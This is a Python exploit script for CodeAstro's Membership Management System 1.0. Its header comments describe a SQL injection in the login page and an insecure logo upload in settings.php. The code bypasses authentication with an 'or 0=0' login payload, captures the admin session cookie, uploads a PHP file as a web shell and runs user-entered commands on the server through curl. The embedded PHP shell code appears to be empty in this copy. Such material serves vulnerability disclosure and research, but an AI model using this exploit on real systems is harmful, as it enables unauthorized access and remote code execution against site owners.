from requests_toolbelt.multipart.encoder import MultipartEncoder import requests import string import random import os # ======================================================================================================== # Application: Membership Management System # Bugs: SQL injection + Insecure File Upload = Remote Code Execution # Date: 14.03.2024 # Exploit Author: SoSPiro # Vendor Homepage: https://codeastro.com/author/nbadmin/ # Software Link: https://codeastro.com/membership-management-system-in-php-with-source-code/ # Version: 1.0 # -------------------------------------------------- # Vulnerability Description: # The sql injection vulnerability was found in the file `Membership-PHP/index.php` # The login page located at MembershipM-PHP/index.php contains a SQL Injection vulnerability. # This vulnerability allows attackers to inject malicious SQL code into the input fields used to provide login credentials. # Through this exploit, unauthorized users can gain access to sensitive data or even take control of the system. # Vulnerable Code Section: # $email = $_POST['email']; # $password = $_POST['password']; # $hashed_password = md5($password); # $sql = "SELECT * FROM users WHERE email = '$email' AND password = '$hashed_password'"; # The Insecure File Upload vulnerability appeared in this file `MembershipM-PHP/settings.php` # The MembershipM-PHP/settings.php file contains an insecure file upload vulnerability. # This allows attackers to upload unauthorized files to the server and potentially execute remote code execution (RCE) attacks. # Vulnerable Code Section: # if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) { # $logoName = $_FILES['logo']['name']; # $logoTmpName = $_FILES['logo']['tmp_name']; # $logoType = $_FILES['logo']['type']; # $uploadPath = 'uploads/'; # $targetPath = $uploadPath . $logoName; # if (move_uploaded_file($logoTmpName, $targetPath)) { # $updateSettingsQuery = "UPDATE settings SET system_name = '$systemName', logo = '$targetPath', currency = '$currency' WHERE id = 1"; # $updateSettingsResult = $conn->query($updateSettingsQuery); # if ($updateSettingsResult) { # $successMessage = 'System settings updated successfully.';} else { # $errorMessage = 'Error updating system settings: ' . $conn->error;}} else { # $errorMessage = 'Error moving uploaded file.';}} # -------------------------------------------------- # reference : https://sospiro014.github.io/Membership-Management-System-RCE # I created the python code used in the exploit by looking at this https://www.exploit-db.com/exploits/50123 source and modifying it # ======================================================================================================== # generate random string 8 chars def randomGen(size=8, chars=string.ascii_lowercase): return ''.join(random.choice(chars) for _ in range(size)) # generating a random username and a random web shell file shellFile = randomGen() + ".php" # creating a payload for the login payload = { "email": "test@mail.com' or 0=0 #", "password": "a", "login": "" } session = requests.Session() # changeme urlBase = "http://172.17.86.197/" # change this target ip :) # login url = urlBase + "index.php" print("=== executing SQL Injection ===") req = session.post(url, payload, allow_redirects=False) # check if 'Set-Cookie' header is present in the response if 'Set-Cookie' in req.headers: cookie = req.headers["Set-Cookie"] print("=== authenticated admin cookie:" + cookie + " ===") else: print("Set-Cookie header not found in the response.") exit() # upload shell url = urlBase + "settings.php" # Get user input for the command to execute cmd_input = input("Enter the command to execute: ") # PHP code to execute the command received from the user php_code = "" mp_encoder = MultipartEncoder( fields={ "systemName": "Membership System", "currency": "$", "logo": (shellFile, php_code, "application/x-php"), "updateSettings": "" } ) headers = { "Cookie": cookie, 'Content-Type': mp_encoder.content_type } print("=== login user and uploading shell " + shellFile + " ===") req = session.post(url, data=mp_encoder, allow_redirects=False, headers=headers) # curl the shell for test requestUrl = "curl " + urlBase + "uploads/" + shellFile + "?cmd=" + cmd_input print("=== issuing the command: " + requestUrl + " ===") print("=== CURL OUTPUT ===") os.system(requestUrl)